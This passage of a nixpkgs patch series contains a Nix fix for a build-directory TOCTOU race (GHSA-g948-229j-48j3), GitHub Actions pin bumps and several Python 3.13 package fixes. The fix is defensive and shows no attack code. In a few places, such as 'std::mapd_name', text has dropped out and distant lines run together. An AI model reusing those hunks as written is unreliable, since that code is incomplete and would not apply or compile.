a/src/libstore/unix/build/derivation-builder.cc b/src/libstore/unix/build/derivation-builder.cc -index 58e8d8ba6..856bc81c3 100644 ---- a/src/libstore/unix/build/derivation-builder.cc -+++ b/src/libstore/unix/build/derivation-builder.cc -@@ -129,6 +129,11 @@ private: - */ - Path topTmpDir; - -+ /** -+ * The file descriptor of the temporary directory. -+ */ -+ AutoCloseFD tmpDirFd; -+ - /** - * The path of the temporary directory in the sandbox. - */ -@@ -325,9 +330,24 @@ private: - - /** - * Make a file owned by the builder. -+ * -+ * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor. -+ * It's only safe to call in a child of a directory only visible to the owner. - */ - void chownToBuilder(const Path & path); - -+ /** -+ * Make a file owned by the builder addressed by its file descriptor. -+ */ -+ void chownToBuilder(int fd, const Path & path); -+ -+ /** -+ * Create a file in `tmpDir` owned by the builder. -+ */ -+ void writeBuilderFile( -+ const std::string & name, -+ std::string_view contents); -+ - /** - * Run the builder's process. - */ -@@ -895,7 +915,14 @@ void DerivationBuilderImpl::startBuilder() - } else { - tmpDir = topTmpDir; - } -- chownToBuilder(tmpDir); -+ -+ /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to -+ POSIX semantics.*/ -+ tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)}; -+ if (!tmpDirFd) -+ throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir); -+ -+ chownToBuilder(tmpDirFd.get(), tmpDir); - - for (auto & [outputName, status] : initialOutputs) { - /* Set scratch path we'll actually use during the build. -@@ -1469,9 +1496,7 @@ void DerivationBuilderImpl::initTmpDir() - } else { - auto hash = hashString(HashAlgorithm::SHA256, i.first); - std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false); -- Path p = tmpDir + "/" + fn; -- writeFile(p, rewriteStrings(i.second, inputRewrites)); -- chownToBuilder(p); -+ writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites)); - env[i.first + "Path"] = tmpDirInSandbox + "/" + fn; - } - } -@@ -1580,11 +1605,9 @@ void DerivationBuilderImpl::writeStructuredAttrs() - - auto jsonSh = StructuredAttrs::writeShell(json); - -- writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites)); -- chownToBuilder(tmpDir + "/.attrs.sh"); -+ writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites)); - env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh"; -- writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites)); -- chownToBuilder(tmpDir + "/.attrs.json"); -+ writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites)); - env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json"; - } - } -@@ -1838,6 +1861,24 @@ void setupSeccomp() - #endif - } - -+void DerivationBuilderImpl::chownToBuilder(int fd, const Path & path) -+{ -+ if (!buildUser) return; -+ if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1) -+ throw SysError("cannot change ownership of file '%1%'", path); -+} -+ -+void DerivationBuilderImpl::writeBuilderFile( -+ const std::string & name, -+ std::string_view contents) -+{ -+ auto path = std::filesystem::path(tmpDir) / name; -+ AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)}; -+ if (!fd) -+ throw SysError("creating file %s", path); -+ writeFile(fd, path, contents); -+ chownToBuilder(fd.get(), path); -+} - - void DerivationBuilderImpl::runChild() - { -@@ -3043,6 +3084,15 @@ void DerivationBuilderImpl::checkOutputs(const std::mapd_name; - if (childName == "." || childName == "..") continue; -- _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed); -+ _deletePath(dirfd(dir.get()), path / childName, bytesFreed); - } - if (errno) throw SysError("reading directory %1%", path); - } -@@ -490,14 +498,13 @@ static void _deletePath(Descriptor parentfd, const std::filesystem::path & path, - - static void _deletePath(const std::filesystem::path & path, uint64_t & bytesFreed) - { -- Path dir = dirOf(path.string()); -- if (dir == "") -- dir = "/"; -+ assert(path.is_absolute()); -+ assert(path.parent_path() != path); - -- AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY)); -+ AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY)); - if (!dirfd) { - if (errno == ENOENT) return; -- throw SysError("opening directory '%1%'", path); -+ throw SysError("opening directory %s", path.parent_path()); - } - - _deletePath(dirfd.get(), path, bytesFreed); -diff --git a/src/libutil/include/nix/util/file-system.hh b/src/libutil/include/nix/util/file-system.hh -index b8fa4cfa0..a9a6e43bf 100644 ---- a/src/libutil/include/nix/util/file-system.hh -+++ b/src/libutil/include/nix/util/file-system.hh -@@ -175,21 +175,27 @@ std::string readFile(const Path & path); - std::string readFile(const std::filesystem::path & path); - void readFile(const Path & path, Sink & sink, bool memory_map = true); - -+enum struct FsSync { Yes, No }; -+ - /** - * Write a string to a file. - */ --void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false); --static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, bool sync = false) -+void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No); -+ -+static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No) - { - return writeFile(path.string(), s, mode, sync); - } - --void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false); --static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, bool sync = false) -+void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No); -+ -+static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No) - { - return writeFile(path.string(), source, mode, sync); - } - -+void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No); -+ - /** - * Flush a path's parent directory to disk. - */ --- -2.44.1 - From ea10312659ed4de3533e25388c0615b59ed90df1 Mon Sep 17 00:00:00 2001 From: Wolfgang Walther Date: Tue, 24 Jun 2025 18:26:59 +0200 Subject: [PATCH 350/390] workflows: nix: 2.29.0 -> 2.29.1 --- .github/workflows/build.yml | 2 +- .github/workflows/codeowners-v2.yml | 4 ++-- .github/workflows/eval.yml | 6 +++--- .github/workflows/lint.yml | 6 +++--- .github/workflows/reviewers.yml | 2 +- 5 files changed, 10 insertions(+), 10 deletions(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 20600d9d9a31..29c7c68d631f 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -49,7 +49,7 @@ jobs: mergedSha: ${{ inputs.mergedSha }} merged-as-untrusted: true - - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31 + - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31 with: extra_nix_config: sandbox = true diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml index 89908ede868d..97fcfc63bdd2 100644 --- a/.github/workflows/codeowners-v2.yml +++ b/.github/workflows/codeowners-v2.yml @@ -59,7 +59,7 @@ jobs: merged-as-untrusted: true target-as-trusted: true - - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31 + - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31 - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16 with: @@ -107,7 +107,7 @@ jobs: name: Request runs-on: ubuntu-24.04-arm steps: - - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31 + - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31 # Important: Because we use pull_request_target, this checks out the base branch of the PR, not the PR head. # This is intentional, because we need to request the review of owners as declared in the base branch. diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml index 71ba62cdf4c7..5999aedcb938 100644 --- a/.github/workflows/eval.yml +++ b/.github/workflows/eval.yml @@ -46,7 +46,7 @@ jobs: path: untrusted - name: Install Nix - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31 + uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31 with: extra_nix_config: sandbox = true @@ -166,7 +166,7 @@ jobs: path: trusted - name: Install Nix - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31 + uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31 with: extra_nix_config: sandbox = true @@ -243,7 +243,7 @@ jobs: merged-as-untrusted: true - name: Install Nix - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31 + uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31 with: extra_nix_config: sandbox = true diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 4bf917d800db..0b2da1070d20 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -29,7 +29,7 @@ jobs: mergedSha: ${{ inputs.mergedSha }} merged-as-untrusted: true - - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31 + - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31 with: extra_nix_config: sandbox = true @@ -61,7 +61,7 @@ jobs: mergedSha: ${{ inputs.mergedSha }} merged-as-untrusted: true - - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31 + - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31 with: extra_nix_config: sandbox = true @@ -86,7 +86,7 @@ jobs: targetSha: ${{ inputs.targetSha }} target-as-trusted: true - - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31 + - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31 with: extra_nix_config: sandbox = true diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml index bd1d8aed7204..1d518133cf6d 100644 --- a/.github/workflows/reviewers.yml +++ b/.github/workflows/reviewers.yml @@ -35,7 +35,7 @@ jobs: sparse-checkout: ci - name: Install Nix - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31 + uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31 with: extra_nix_config: sandbox = true From 425813dada296166766e86153401936c60b68791 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 16:35:38 +0000 Subject: [PATCH 351/390] vscode-extensions.ms-python.python: 2025.6.1 -> 2025.8.0 --- .../editors/vscode/extensions/ms-python.python/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/editors/vscode/extensions/ms-python.python/default.nix b/pkgs/applications/editors/vscode/extensions/ms-python.python/default.nix index 79664f233539..8888d42107e9 100644 --- a/pkgs/applications/editors/vscode/extensions/ms-python.python/default.nix +++ b/pkgs/applications/editors/vscode/extensions/ms-python.python/default.nix @@ -15,8 +15,8 @@ vscode-utils.buildVscodeMarketplaceExtension rec { mktplcRef = { name = "python"; publisher = "ms-python"; - version = "2025.6.1"; - hash = "sha256-aCutbmWI68IRqAwztQ9USo996zWL29UO2eAC75b3/IY="; + version = "2025.8.0"; + hash = "sha256-v+MjJmiFMStbVRmh1I7hJp1Fq262QwRyRt9m2f3yF0o="; }; buildInputs = [ icu ]; From 2267d2b1d87c39ccf1668c7af9a4c84a77201dbe Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= Date: Tue, 24 Jun 2025 18:54:03 +0200 Subject: [PATCH 352/390] python313Packages.textual-textarea: unskip test_comments --- .../python-modules/textual-textarea/default.nix | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/pkgs/development/python-modules/textual-textarea/default.nix b/pkgs/development/python-modules/textual-textarea/default.nix index 9e6a02bf2c00..e136dab4f313 100644 --- a/pkgs/development/python-modules/textual-textarea/default.nix +++ b/pkgs/development/python-modules/textual-textarea/default.nix @@ -14,6 +14,7 @@ pytestCheckHook, pytest-asyncio, tree-sitter-python, + tree-sitter-sql, }: buildPythonPackage rec { @@ -48,19 +49,12 @@ buildPythonPackage rec { pytestCheckHook pytest-asyncio tree-sitter-python + tree-sitter-sql ]; pythonImportsCheck = [ "textual_textarea" ]; - pytestFlagsArray = [ - # "--deselect=tests/functional_tests/test_comments.py::test_comments[sql--- ]" - ]; - disabledTests = [ - # Requires unpackaged tree-sitter-sql - # textual.widgets._text_area.LanguageDoesNotExist - "test_comments" - # AssertionError: assert Selection(sta...), end=(0, 6)) == Selection(sta...), end=(1, 0)) # https://github.com/tconbeer/textual-textarea/issues/296 "test_keys" From ef31a2ba5fca12f70178fcbe737263f01fdc02ce Mon Sep 17 00:00:00 2001 From: Gaetan Lepage Date: Tue, 24 Jun 2025 17:57:31 +0200 Subject: [PATCH 353/390] python3Packages.mmengine: remove failing numpy.compat import --- pkgs/development/python-modules/mmengine/default.nix | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/pkgs/development/python-modules/mmengine/default.nix b/pkgs/development/python-modules/mmengine/default.nix index ecedb608e878..3de90cbfd427 100644 --- a/pkgs/development/python-modules/mmengine/default.nix +++ b/pkgs/development/python-modules/mmengine/default.nix @@ -52,6 +52,11 @@ buildPythonPackage rec { }) ]; + postPatch = '' + substituteInPlace tests/test_config/test_lazy.py \ + --replace-fail "import numpy.compat" "" + ''; + build-system = [ setuptools ]; dependencies = [ From f005289e1232e42a8833fba962de9b2e6d21dfdd Mon Sep 17 00:00:00 2001 From: Gaetan Lepage Date: Tue, 24 Jun 2025 18:45:50 +0200 Subject: [PATCH 354/390] python3Packages.mmengine: fix on python 3.13 --- .../python-modules/mmengine/default.nix | 20 +++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/pkgs/development/python-modules/mmengine/default.nix b/pkgs/development/python-modules/mmengine/default.nix index 3de90cbfd427..816b042cf7bf 100644 --- a/pkgs/development/python-modules/mmengine/default.nix +++ b/pkgs/development/python-modules/mmengine/default.nix @@ -52,10 +52,22 @@ buildPythonPackage rec { }) ]; - postPatch = '' - substituteInPlace tests/test_config/test_lazy.py \ - --replace-fail "import numpy.compat" "" - ''; + postPatch = + # Fails in python >= 3.13 + # exec(compile(f.read(), version_file, "exec")) does not populate the locals() namesp + # In python 3.13, the locals() dictionary in a function does not automatically update with + # changes made by exec(). + # https://peps.python.org/pep-0558/ + '' + substituteInPlace setup.py \ + --replace-fail \ + "return locals()['__version__']" \ + "return '${version}'" + '' + + '' + substituteInPlace tests/test_config/test_lazy.py \ + --replace-fail "import numpy.compat" "" + ''; build-system = [ setuptools ]; From d5a9a624062d065e0328c13cae42fa05bc2b2d1e Mon Sep 17 00:00:00 2001 From: Gaetan Lepage Date: Tue, 24 Jun 2025 18:59:33 +0200 Subject: [PATCH 355/390] python3Packages.mmcv: fix on python 3.13 --- pkgs/development/python-modules/mmcv/default.nix | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/pkgs/development/python-modules/mmcv/default.nix b/pkgs/development/python-modules/mmcv/default.nix index 3f7b5f9f4ce9..cc9efa952bf3 100644 --- a/pkgs/development/python-modules/mmcv/default.nix +++ b/pkgs/development/python-modules/mmcv/default.nix @@ -48,10 +48,17 @@ buildPythonPackage rec { hash = "sha256-NNF9sLJWV1q6uBE73LUW4UWwYm4TBMTBJjJkFArBmsc="; }; - postPatch = '' - substituteInPlace setup.py \ - --replace-fail "cpu_use = 4" "cpu_use = $NIX_BUILD_CORES" - ''; + postPatch = + # Fails in python >= 3.13 + # exec(compile(f.read(), version_file, "exec")) does not populate the locals() namesp + # In python 3.13, the locals() dictionary in a function does not automatically update with + # changes made by exec(). + # https://peps.python.org/pep-0558/ + '' + substituteInPlace setup.py \ + --replace-fail "cpu_use = 4" "cpu_use = $NIX_BUILD_CORES" \ + --replace-fail "return locals()['__version__']" "return '${version}'" + ''; nativeBuildInputs = [ ninja From 3b3cecb403f975b5ae346b1a87a24cf973bc28eb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Tue, 24 Jun 2025 19:14:14 +0200 Subject: [PATCH 356/390] nixVersions.nix_2_24: 2.24.14 -> 2.24.15 --- pkgs/tools/package-management/nix/default.nix | 3 +- .../patches/ghsa-g948-229j-48j3-2.24.patch | 436 ------------------ 2 files changed, 1 insertion(+), 438 deletions(-) delete mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix index 1b07e2283513..b53e3f88cfd1 100644 --- a/pkgs/tools/package-management/nix/default.nix +++ b/pkgs/tools/package-management/nix/default.nix @@ -169,9 +169,8 @@ lib.makeExtensible ( }; nix_2_24 = commonAutoconf { - version = "2.24.14"; + version = "2.24.15"; hash = "sha256-SthMCsj6POjawLnJq9+lj/UzObX9skaeN1UGmMZiwTY="; - patches = [ ./patches/ghsa-g948-229j-48j3-2.24.patch ]; self_attribute_name = "nix_2_24"; }; diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch deleted file mode 100644 index 27b16dc6b8c6..000000000000 --- a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch +++ /dev/null @@ -1,436 +0,0 @@ -From b0fab9f90b397a2b02f41df5f467ae3cf8b91c3c Mon Sep 17 00:00:00 2001 -From: Eelco Dolstra -Date: Thu, 19 Jun 2025 16:20:34 +0200 -Subject: [PATCH] Fixes for GHSA-g948-229j-48j3 -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -Squashed commit of the following: - -commit 04fff3a637d455cbb1d75937a235950e43008db9 -Author: Eelco Dolstra -Date: Thu Jun 12 12:30:32 2025 +0200 - - Chown structured attr files safely - -commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5 -Author: Eelco Dolstra -Date: Thu Jun 12 12:14:04 2025 +0200 - - Replace 'bool sync' with an enum for clarity - - And drop writeFileAndSync(). - -commit 7ae0141f328d8e8e1094be24665789c05f974ba6 -Author: Eelco Dolstra -Date: Thu Jun 12 11:35:28 2025 +0200 - - Drop guessOrInventPathFromFD() - - No need to do hacky stuff like that when we already know the original path. - -commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08 -Author: Eelco Dolstra -Date: Thu Jun 12 11:15:58 2025 +0200 - - Tweak comment - -commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848 -Author: Raito Bezarius -Date: Thu Mar 27 12:22:26 2025 +0100 - - libstore: ensure that temporary directory is always 0o000 before deletion - - In the case the deletion fails, we should ensure that the temporary - directory cannot be used for nefarious purposes. - - Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120 - Signed-off-by: Raito Bezarius - -commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e -Author: Raito Bezarius -Date: Wed Mar 26 12:42:55 2025 +0100 - - libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds - - When calling `_deletePath` with a parent file descriptor, `openat` is - made effective by using relative paths to the directory file descriptor. - - To avoid the problem, the signature is changed to resist misuse with an - assert in the prologue of the function. - - Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96 - Signed-off-by: Raito Bezarius - -commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea -Author: Raito Bezarius -Date: Wed Mar 26 01:07:47 2025 +0100 - - libstore: ensure that `passAsFile` is created in the original temp dir - - This ensures that `passAsFile` data is created inside the expected - temporary build directory by `openat()` from the parent directory file - descriptor. - - This avoids a TOCTOU which is part of the attack chain of CVE-????. - - Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a - Signed-off-by: Raito Bezarius - -commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018 -Author: Raito Bezarius -Date: Wed Mar 26 01:06:03 2025 +0100 - - libutil: writeFile variant for file descriptors - - `writeFile` lose its `sync` boolean flag to make things simpler. - - A new `writeFileAndSync` function is created and all call sites are - converted to it. - - Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192 - Signed-off-by: Raito Bezarius - -commit 732bd9b98cabf4aaf95a01fd318923de303f9996 -Author: Raito Bezarius -Date: Wed Mar 26 01:05:34 2025 +0100 - - libstore: chown to builder variant for file descriptors - - We use it immediately for the build temporary directory. - - Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947 - Signed-off-by: Raito Bezarius - -commit 962c65f8dcd5570dd92c72370a862c7b38942e0d -Author: Raito Bezarius -Date: Wed Mar 26 01:04:59 2025 +0100 - - libstore: open build directory as a dirfd as well - - We now keep around a proper AutoCloseFD around the temporary directory - which we plan to use for openat operations and avoiding the build - directory being swapped out while we are doing something else. - - Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a - Signed-off-by: Raito Bezarius - -commit c9b42462b75b5a37ee6564c2b53cff186c8323da -Author: Raito Bezarius -Date: Wed Mar 26 01:04:12 2025 +0100 - - libutil: guess or invent a path from file descriptors - - This is useful for certain error recovery paths (no pun intended) that - does not thread through the original path name. - - Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e - Signed-off-by: Raito Bezarius - -Signed-off-by: Jörg Thalheim ---- - src/libstore/local-store.cc | 6 +-- - .../unix/build/local-derivation-goal.cc | 46 ++++++++++++++---- - .../unix/build/local-derivation-goal.hh | 20 ++++++++ - src/libutil/file-system.cc | 47 +++++++++++-------- - src/libutil/file-system.hh | 8 +++- - 5 files changed, 94 insertions(+), 33 deletions(-) - -diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc -index c6e3af456..c5489444e 100644 ---- a/src/libstore/local-store.cc -+++ b/src/libstore/local-store.cc -@@ -187,7 +187,7 @@ void migrateCASchema(SQLite& db, Path schemaPath, AutoCloseFD& lockFd) - txn.commit(); - } - -- writeFile(schemaPath, fmt("%d", nixCASchemaVersion), 0666, true); -+ writeFile(schemaPath, fmt("%d", nixCASchemaVersion), 0666, FsSync::Yes); - lockFile(lockFd.get(), ltRead, true); - } - } -@@ -345,7 +345,7 @@ LocalStore::LocalStore( - else if (curSchema == 0) { /* new store */ - curSchema = nixSchemaVersion; - openDB(*state, true); -- writeFile(schemaPath, fmt("%1%", curSchema), 0666, true); -+ writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes); - } - - else if (curSchema < nixSchemaVersion) { -@@ -394,7 +394,7 @@ LocalStore::LocalStore( - txn.commit(); - } - -- writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); -+ writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes); - - lockFile(globalLock.get(), ltRead, true); - } -diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc -index f8824e9ce..82c79f361 100644 ---- a/src/libstore/unix/build/local-derivation-goal.cc -+++ b/src/libstore/unix/build/local-derivation-goal.cc -@@ -526,7 +526,14 @@ void LocalDerivationGoal::startBuilder() - } else { - tmpDir = topTmpDir; - } -- chownToBuilder(tmpDir); -+ -+ /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to -+ POSIX semantics.*/ -+ tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)}; -+ if (!tmpDirFd) -+ throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir); -+ -+ chownToBuilder(tmpDirFd.get(), tmpDir); - - for (auto & [outputName, status] : initialOutputs) { - /* Set scratch path we'll actually use during the build. -@@ -1110,9 +1117,7 @@ void LocalDerivationGoal::initTmpDir() { - } else { - auto hash = hashString(HashAlgorithm::SHA256, i.first); - std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false); -- Path p = tmpDir + "/" + fn; -- writeFile(p, rewriteStrings(i.second, inputRewrites)); -- chownToBuilder(p); -+ writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites)); - env[i.first + "Path"] = tmpDirInSandbox + "/" + fn; - } - } -@@ -1217,11 +1222,9 @@ void LocalDerivationGoal::writeStructuredAttrs() - - auto jsonSh = writeStructuredAttrsShell(json); - -- writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites)); -- chownToBuilder(tmpDir + "/.attrs.sh"); -+ writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites)); - env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh"; -- writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites)); -- chownToBuilder(tmpDir + "/.attrs.json"); -+ writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites)); - env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json"; - } - } -@@ -1730,6 +1733,24 @@ void setupSeccomp() - #endif - } - -+void LocalDerivationGoal::chownToBuilder(int fd, const Path & path) -+{ -+ if (!buildUser) return; -+ if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1) -+ throw SysError("cannot change ownership of file '%1%'", path); -+} -+ -+void LocalDerivationGoal::writeBuilderFile( -+ const std::string & name, -+ std::string_view contents) -+{ -+ auto path = std::filesystem::path(tmpDir) / name; -+ AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)}; -+ if (!fd) -+ throw SysError("creating file %s", path); -+ writeFile(fd, path, contents); -+ chownToBuilder(fd.get(), path); -+} - - void LocalDerivationGoal::runChild() - { -@@ -3006,6 +3027,15 @@ void LocalDerivationGoal::checkOutputs(const std::mapisBuiltin()) { -diff --git a/src/libstore/unix/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh -index bf25cf2a6..69c517c4a 100644 ---- a/src/libstore/unix/build/local-derivation-goal.hh -+++ b/src/libstore/unix/build/local-derivation-goal.hh -@@ -37,6 +37,11 @@ struct LocalDerivationGoal : public DerivationGoal - */ - Path topTmpDir; - -+ /** -+ * The file descriptor of the temporary directory. -+ */ -+ AutoCloseFD tmpDirFd; -+ - /** - * The path of the temporary directory in the sandbox. - */ -@@ -232,9 +237,24 @@ struct LocalDerivationGoal : public DerivationGoal - - /** - * Make a file owned by the builder. -+ * -+ * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor. -+ * It's only safe to call in a child of a directory only visible to the owner. - */ - void chownToBuilder(const Path & path); - -+ /** -+ * Make a file owned by the builder addressed by its file descriptor. -+ */ -+ void chownToBuilder(int fd, const Path & path); -+ -+ /** -+ * Create a file in `tmpDir` owned by the builder. -+ */ -+ void writeBuilderFile( -+ const std::string & name, -+ std::string_view contents); -+ - int getChildStatus() override; - - /** -diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc -index 8ec38e73b..554214d66 100644 ---- a/src/libutil/file-system.cc -+++ b/src/libutil/file-system.cc -@@ -247,7 +247,7 @@ void readFile(const Path & path, Sink & sink) - } - - --void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) -+void writeFile(const Path & path, std::string_view s, mode_t mode, FsSync sync) - { - AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT - // TODO -@@ -257,22 +257,29 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) - , mode)); - if (!fd) - throw SysError("opening file '%1%'", path); -+ -+ writeFile(fd, path, s, mode, sync); -+ -+ /* Close explicitly to propagate the exceptions. */ -+ fd.close(); -+} -+ -+void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode, FsSync sync) -+{ -+ assert(fd); - try { - writeFull(fd.get(), s); -+ -+ if (sync == FsSync::Yes) -+ fd.fsync(); -+ - } catch (Error & e) { -- e.addTrace({}, "writing file '%1%'", path); -+ e.addTrace({}, "writing file '%1%'", origPath); - throw; - } -- if (sync) -- fd.fsync(); -- // Explicitly close to make sure exceptions are propagated. -- fd.close(); -- if (sync) -- syncParent(path); - } - -- --void writeFile(const Path & path, Source & source, mode_t mode, bool sync) -+void writeFile(const Path & path, Source & source, mode_t mode, FsSync sync) - { - AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT - // TODO -@@ -296,11 +303,11 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync) - e.addTrace({}, "writing file '%1%'", path); - throw; - } -- if (sync) -+ if (sync == FsSync::Yes) - fd.fsync(); - // Explicitly close to make sure exceptions are propagated. - fd.close(); -- if (sync) -+ if (sync == FsSync::Yes) - syncParent(path); - } - -@@ -318,7 +325,8 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b - #ifndef _WIN32 - checkInterrupt(); - -- std::string name(baseNameOf(path.native())); -+ std::string name(path.filename()); -+ assert(name != "." && name != ".." && !name.empty()); - - struct stat st; - if (fstatat(parentfd, name.c_str(), &st, -@@ -359,7 +367,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b - throw SysError("chmod '%1%'", path); - } - -- int fd = openat(parentfd, path.c_str(), O_RDONLY); -+ int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW); - if 